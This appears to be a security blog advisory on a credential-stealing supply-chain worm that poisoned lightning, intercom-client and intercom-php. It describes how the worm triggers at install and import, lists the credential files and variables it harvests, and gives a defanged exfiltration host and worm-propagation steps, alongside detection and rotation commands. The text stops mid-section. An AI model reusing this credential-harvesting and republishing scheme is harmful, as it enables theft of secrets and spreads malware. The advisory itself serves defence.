      <content:encoded><![CDATA[<p>If your CI installed <code>lightning==2.6.2</code> or <code>lightning==2.6.3</code> between roughly 14:00 and 14:42 UTC on April 30, 2026, your GitHub token, npm token, AWS keys, kubeconfig, Vault token, Docker creds, SSH keys, and every <code>.env</code> file the runner could read are now in someone else&#39;s hands. Same story if you pulled <code>intercom-client@7.0.4</code> on npm or <code>intercom/intercom-php@5.0.2</code> from Packagist that week. The attack is called Mini Shai-Hulud, it ran across three package ecosystems in 48 hours, and it propagates through the credentials it steals.</p>
<p>This is the second post in two weeks where the answer to &quot;are we exposed?&quot; is &quot;rotate first, ask questions second.&quot; Here is what happened, why this strain is unusually scary, and the exact commands to figure out whether you ate a poisoned package.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><table>
<thead>
<tr>
<th>Detail</th>
<th>Info</th>
</tr>
</thead>
<tbody><tr>
<td>Campaign name</td>
<td>Mini Shai-Hulud</td>
</tr>
<tr>
<td>Attribution</td>
<td>TeamPCP (financially motivated)</td>
</tr>
<tr>
<td>Disclosed</td>
<td>April 30, 2026</td>
</tr>
<tr>
<td>Compromised: PyPI</td>
<td><code>lightning</code> 2.6.2, 2.6.3 (safe: 2.6.1)</td>
</tr>
<tr>
<td>Compromised: npm</td>
<td><code>intercom-client</code> 7.0.4</td>
</tr>
<tr>
<td>Compromised: Packagist</td>
<td><code>intercom/intercom-php</code> 5.0.2</td>
</tr>
<tr>
<td>Window malicious versions were live</td>
<td>~42 minutes (PyPI), longer for npm/PHP</td>
</tr>
<tr>
<td>Trigger</td>
<td><code>import lightning</code> (PyPI) or <code>npm install</code> / <code>composer install</code> (npm/PHP)</td>
</tr>
<tr>
<td>What it steals</td>
<td>GitHub, npm, AWS, GCP, Azure, SSH keys, kubeconfig, Vault, Docker, all <code>.env</code> files</td>
</tr>
<tr>
<td>Exfil channel</td>
<td><code>zero.masscan[.]cloud:443/v1/telemetry</code> (primary), public GitHub repo (fallback)</td>
</tr>
<tr>
<td>Worm behavior</td>
<td>Republishes infected versions of any npm package the stolen tokens can write to</td>
</tr>
<tr>
<td>What you do</td>
<td>Lockfile audit, kill compromised pins, rotate everything in scope, hunt for &quot;A Mini Shai-Hulud has Appeared&quot; repos under your org</td>
</tr>
</tbody></table>
<h2 id="h2-what-happened" class="group relative scroll-mt-24">
        <a href="#h2-what-happened" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What Happened
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-happened"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>On April 30, 2026, attackers pushed malicious versions of three popular packages across three ecosystems within the same 48-hour window:</p>
<ol>
<li><strong>PyPI</strong>: <code>lightning</code> 2.6.2 and 2.6.3 (PyTorch Lightning, the wrapper around PyTorch most ML training jobs end up using). Combined downloads sit around 10 million per month.</li>
<li><strong>npm</strong>: <code>intercom-client</code> 7.0.4. Intercom&#39;s official JavaScript SDK.</li>
<li><strong>Packagist</strong>: <code>intercom/intercom-php</code> 5.0.2. The PHP equivalent.</li>
</ol>
<p>PyPI quarantined the lightning versions roughly 42 minutes after they went live. npm took longer. Packagist longer still. The attack reached production CI runners in dozens of orgs in that window.</p>
<p>Researchers attribute the campaign to <strong>TeamPCP</strong>, a financially motivated group also tied to the earlier Checkmarx, Bitwarden, Telnyx, LiteLLM, and Trivy poisonings. The &quot;Shai-Hulud&quot; name is a nod to the Dune sandworm, picked because the malware is wormlike: every credential it steals becomes a vector for more poisoning. The &quot;Mini&quot; prefix distinguishes it from the larger Shai-Hulud campaign that hit npm in 2025.</p>
<h2 id="h2-how-the-attack-worked" class="group relative scroll-mt-24">
        <a href="#h2-how-the-attack-worked" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          How the Attack Worked
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-how-the-attack-worked"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The same payload (an obfuscated 11MB JavaScript blob called <code>router_runtime.js</code>) ran on all three ecosystems. Only the loader differs.</p>
<h3 id="h3-pypi-import-lightning" class="group relative scroll-mt-24">
        <a href="#h3-pypi-import-lightning" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          PyPI: import lightning
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-pypi-import-lightning"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The malicious package shipped a hidden <code>_runtime/</code> directory containing a <code>start.py</code> script and the obfuscated payload. Python&#39;s package metadata wired <code>start.py</code> to run on module import. So:</p>
<pre><code class="hljs language-bash">pip install lightning==2.6.2
python -c <span class="hljs-string">&quot;import lightning&quot;</span>   <span class="hljs-comment"># this is what triggers it</span>
</code></pre><p><code>start.py</code> downloads the Bun JavaScript runtime to a temp directory, then executes the obfuscated <code>router_runtime.js</code>. Bun is a clean choice for the attacker: no Python dependency, doesn&#39;t show up in your Python runtime monitoring, and runs fast enough to finish the steal before anything notices.</p>
<h3 id="h3-npm-npm-install-intercom-client704" class="group relative scroll-mt-24">
        <a href="#h3-npm-npm-install-intercom-client704" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          npm: npm install intercom-client@7.0.4
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-npm-npm-install-intercom-client704"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The npm version uses a <code>preinstall</code> hook in <code>package.json</code>, which runs before any of the package code is imported. So even a <code>--ignore-scripts=false</code> install (the default) is enough; the package never has to be required by application code:</p>
<pre><code class="hljs language-bash">npm install intercom-client@7.0.4
<span class="hljs-comment"># preinstall hook fires here, payload already running</span>
</code></pre><h3 id="h3-packagist-composer-install-with-intercomintercom-php502" class="group relative scroll-mt-24">
        <a href="#h3-packagist-composer-install-with-intercomintercom-php502" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Packagist: composer install with intercom/intercom-php@5.0.2
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-packagist-composer-install-with-intercomintercom-php502"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Composer uses plugin events. The malicious version registered a Composer plugin that hooks <code>post-install-cmd</code> and <code>post-update-cmd</code>. On install or update, a shell script (<code>setup-intercom.sh</code>) downloads Bun and runs the same <code>router_runtime.js</code>:</p>
<pre><code class="hljs language-bash">composer require intercom/intercom-php:5.0.2
<span class="hljs-comment"># setup-intercom.sh runs here</span>
</code></pre><p>The pattern across all three ecosystems is the same: hook a lifecycle event that fires before the developer would notice anything wrong, drop a runtime, run a payload, exit clean.</p>
<h2 id="h2-what-gets-stolen" class="group relative scroll-mt-24">
        <a href="#h2-what-gets-stolen" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What Gets Stolen
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-gets-stolen"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><code>router_runtime.js</code> is a credential vacuum. It walks the runner filesystem and the standard environment-variable conventions for every credential type a CI/CD pipeline typically holds:</p>
<table>
<thead>
<tr>
<th>Credential</th>
<th>Where the malware looks</th>
</tr>
</thead>
<tbody><tr>
<td>GitHub tokens</td>
<td><code>GITHUB_TOKEN</code>, <code>GH_TOKEN</code>, <code>~/.netrc</code>, <code>~/.config/gh/hosts.yml</code>, validated against <code>api.github.com/user</code></td>
</tr>
<tr>
<td>npm tokens</td>
<td><code>NPM_TOKEN</code>, <code>~/.npmrc</code></td>
</tr>
<tr>
<td>SSH keys</td>
<td><code>~/.ssh/id_*</code>, <code>~/.ssh/authorized_keys</code>, <code>SSH_AUTH_SOCK</code></td>
</tr>
<tr>
<td>AWS</td>
<td><code>~/.aws/credentials</code>, <code>AWS_ACCESS_KEY_ID</code>, <code>AWS_SECRET_ACCESS_KEY</code>, <code>AWS_SESSION_TOKEN</code>, IMDSv2 fetch on EC2 runners</td>
</tr>
<tr>
<td>GCP</td>
<td><code>GOOGLE_APPLICATION_CREDENTIALS</code>, <code>~/.config/gcloud/</code></td>
</tr>
<tr>
<td>Azure</td>
<td><code>~/.azure/</code>, az-cli refresh tokens</td>
</tr>
<tr>
<td>Kubernetes</td>
<td><code>~/.kube/config</code>, <code>KUBECONFIG</code>, in-cluster service account tokens</td>
</tr>
<tr>
<td>Vault</td>
<td><code>VAULT_TOKEN</code>, <code>~/.vault-token</code></td>
</tr>
<tr>
<td>Docker</td>
<td><code>~/.docker/config.json</code> (registry passwords)</td>
</tr>
<tr>
<td><code>.env</code> files</td>
<td>Recursive scan for <code>**/.env</code>, <code>**/.env.*</code> from the workspace root</td>
</tr>
<tr>
<td>Cloud provider IMDS</td>
<td><code>169.254.169.254</code> if reachable</td>
</tr>
</tbody></table>
<p>All of it is bundled, encrypted, and posted to <code>zero.masscan[.]cloud:443/v1/telemetry</code>. If that domain is unreachable (firewall, sinkhole, etc.), the malware falls back to creating a public GitHub repository under any GitHub account whose token it just stole, with the repo description set to <strong>&quot;A Mini Shai-Hulud has Appeared.&quot;</strong> That string is the cleanest indicator-of-compromise you can hunt for.</p>
<h2 id="h2-the-worm-part" class="group relative scroll-mt-24">
        <a href="#h2-the-worm-part" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Worm Part
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-worm-part"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>This is what earns the Shai-Hulud name. Once the malware has working npm tokens, it does not just exfiltrate them. It uses them.</p>
<p>For each npm token the runner had access to, the payload:</p>
<ol>
<li>Lists packages the token can publish.</li>
<li>For each package, downloads the latest tarball, injects its own <code>preinstall</code> hook into <code>package.json</code>, bumps the patch version, and republishes.</li>
<li>Pushes the same payload along to whatever GitHub repos the stolen GitHub token can write to, by pushing a branch with the malicious code.</li>
</ol>
<p>The published Lightning Foundation account <code>pl-ghost</code> performed six create-and-delete branch operations on Lightning-AI repos in 70 minutes after the breach, four of them with random 10-character branch names. That is the worm&#39;s write-access probing pattern.</p>
<p>In practice, every successful infection becomes a node that infects more packages. The &quot;Mini&quot; qualifier is a polite understatement.</p>
<h2 id="h2-are-you-affected" class="group relative scroll-mt-24">
        <a href="#h2-are-you-affected" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Are You Affected?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-are-you-affected"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Three checks. Run them now even if your gut says no.</p>
<h3 id="h3-1-did-you-install-a-compromised-version" class="group relative scroll-mt-24">
        <a href="#h3-1-did-you-install-a-compromised-version" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          1. Did you install a compromised version?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-1-did-you-install-a-compromised-version"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>For PyPI:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Look at lockfiles and venvs in your build infra</span>
grep -RE <span class="hljs-string">&#x27;lightning==2\.6\.[23]\b&#x27;</span> \
  --include=requirements*.txt \
  --include=poetry.lock \
  --include=Pipfile.lock \
  --include=uv.lock \
  --include=pyproject.toml \
  . 2&gt;/dev/null

<span class="hljs-comment"># Check installed sites</span>
pip show lightning | grep -i version
</code></pre><p>For npm:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Searches package-lock.json, yarn.lock, pnpm-lock.yaml</span>
grep -RE <span class="hljs-string">&#x27;intercom-client.*7\.0\.4&#x27;</span> \
  --include=package-lock.json \
  --include=yarn.lock \
  --include=pnpm-lock.yaml \
  --include=package.json \
  . 2&gt;/dev/null
</code></pre><p>For Composer:</p>
<pre><code class="hljs language-bash">grep -RE <span class="hljs-string">&#x27;intercom/intercom-php.*5\.0\.2&#x27;</span> \
  --include=composer.lock \
  --include=composer.json \
  . 2&gt;/dev/null
</code></pre><p>Any hits and you assume infection on the host that ran the install.</p>
<h3 id="h3-2-hunt-for-the-github-fallback-ioc" class="group relative scroll-mt-24">
        <a href="#h3-2-hunt-for-the-github-fallback-ioc" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          2. Hunt for the GitHub fallback IoC
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-2-hunt-for-the-github-fallback-ioc"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Across every GitHub org you control, search for repos with the description that the malware uses when its primary exfil channel fails:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Loop your orgs through the GitHub API</span>
gh api -X GET search/repositories \
  -f q=<span class="hljs-string">&#x27;&quot;A Mini Shai-Hulud has Appeared&quot; org:YOUR_ORG&#x27;</span> \
  --jq <span class="hljs-string">&#x27;.items[].full_name&#x27;</span>
</code></pre><p>Run that for every org. A single hit means at minimum one of your service accounts had its token exfiltrated.</p>
<h3 id="h3-3-check-outbound-connections" class="group relative scroll-mt-24">
        <a href="#h3-3-check-outbound-connections" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          3. Check outbound connections
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-3-check-outbound-connections"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If you ship CI logs to a SIEM, search for any DNS query or connection to <code>zero.masscan.cloud</code> or <code>*.masscan.cloud</code>. Either is a confirmed exfiltration attempt.</p>
<pre><code class="hljs language-text"># Splunk / Loki / Datadog: anything matching this domain
domain=&quot;masscan.cloud&quot;
</code></pre><p>If you have egress allowlisting on your runners, you may already have blocked the exfil. That is the only happy ending here.</p>
<h2 id="h2-what-to-do-right-now" class="group relative scroll-mt-24">
        <a href="#h2-what-to-do-right-now" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What to Do Right Now
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-to-do-right-now"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-1-pin-off-the-malicious-versions" class="group relative scroll-mt-24">
        <a href="#h3-1-pin-off-the-malicious-versions" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          1. Pin off the malicious versions
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-1-pin-off-the-malicious-versions"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>PyPI:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Pin to the last known-good lightning, never resolve patch ranges</span>
pip install <span class="hljs-string">&#x27;lightning==2.6.1&#x27;</span>

<span class="hljs-comment"># In requirements.txt</span>
lightning==2.6.1

<span class="hljs-comment"># In poetry</span>
[tool.poetry.dependencies]
lightning = <span class="hljs-string">&quot;2.6.1&quot;</span>
</code></pre><p>npm:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Pin intercom-client to a pre-attack release</span>
npm install intercom-client@7.0.3
</code></pre><p>Composer:</p>
<pre><code class="hljs language-bash">composer require intercom/intercom-php:5.0.1
</code></pre><p>Then commit lockfiles, re-resolve, and check that no transitive resolved back to the bad version. Note that <code>pyannote-audio</code> and several other ML libraries pulled <code>lightning</code> as a transitive dependency, so anything that depends on Lightning needs a fresh resolve too.</p>
<h3 id="h3-2-rotate-credentials-in-this-order" class="group relative scroll-mt-24">
        <a href="#h3-2-rotate-credentials-in-this-order" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          2. Rotate credentials, in this order
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-2-rotate-credentials-in-this-order"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><ol>
<li><strong>GitHub tokens for any account whose runner installed the bad versions.</strong> Personal access tokens, fine-grained PATs, GitHub App private keys, deploy keys. Revoke and reissue. While you are there, rotate any GitHub Actions workflow secrets stored in repos those tokens could read.</li>
<li><strong>npm tokens.</strong> Revoke from <code>npmjs.com → Access Tokens</code>, regenerate scoped tokens, push them to your CI as new secrets, and then delete the old ones. Do not leave overlap.</li>
<li><strong>AWS / GCP / Azure</strong> credentials that were on the runner. For AWS, that means rotating the IAM access keys and, if it was an EC2 runner, considering the instance role compromised: terminate and rebuild rather than rotate.</li>
<li><strong>Kubeconfigs and in-cluster tokens.</strong> Rotate ServiceAccount tokens for any cluster the runner could talk to. <code>kubectl rollout restart deployment</code> does not help here; you need to rotate the actual tokens.</li>
<li><strong>Vault.</strong> Revoke the AppRole or token the runner used. Rotate.</li>
<li><strong>Docker registry credentials.</strong> Rotate registry passwords for any registry the runner authenticated to. Push a new <code>~/.docker/config.json</code> to your runners.</li>
<li><strong>SSH keys.</strong> Rotate any keys that lived on the runner, including known_hosts hostkey signers.</li>
<li><strong>Every <code>.env</code> file the runner could read.</strong> Treat any secret in those files as exposed. This is usually the longest list, and the most likely place for the secret your team forgot existed.</li>
</ol>
<h3 id="h3-3-audit-your-published-packages" class="group relative scroll-mt-24">
        <a href="#h3-3-audit-your-published-packages" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          3. Audit your published packages
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-3-audit-your-published-packages"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If your team publishes to npm or Packagist using credentials that were on a poisoned runner, the worm may have already used those tokens. Check the recent versions of every package your team owns:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># For each package you own</span>
npm view your-package versions --json | jq <span class="hljs-string">&#x27;.[-5:]&#x27;</span>

<span class="hljs-comment"># Inspect each tarball for an unexpected preinstall script</span>
npm pack your-package@latest
tar -tzf your-package-*.tgz | grep -E <span class="hljs-string">&#x27;preinstall|setup-.*\.sh|_runtime&#x27;</span>
<span class="hljs-built_in">cat</span> your-package-*/package.json | jq <span class="hljs-string">&#x27;.scripts&#x27;</span>
</code></pre><p>If a recent patch version has a <code>preinstall</code> hook your team did not add, deprecate the version, publish a clean follow-up, and post an advisory. Composer plugin events deserve the same scrutiny on Packagist.</p>
<h3 id="h3-4-lock-down-install-scripts-going-forward" class="group relative scroll-mt-24">
        <a href="#h3-4-lock-down-install-scripts-going-forward" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          4. Lock down install scripts going forward
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-4-lock-down-install-scripts-going-forward"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This attack is the third major one in eight months that abuses install-time hooks. The lesson is the same as the last two: do not run install hooks on your CI by default.</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># npm: refuse all install scripts, opt in per-package</span>
npm config <span class="hljs-built_in">set</span> ignore-scripts <span class="hljs-literal">true</span>

<span class="hljs-comment"># pnpm: same</span>
pnpm config <span class="hljs-built_in">set</span> ignore-scripts <span class="hljs-literal">true</span>

<span class="hljs-comment"># yarn classic</span>
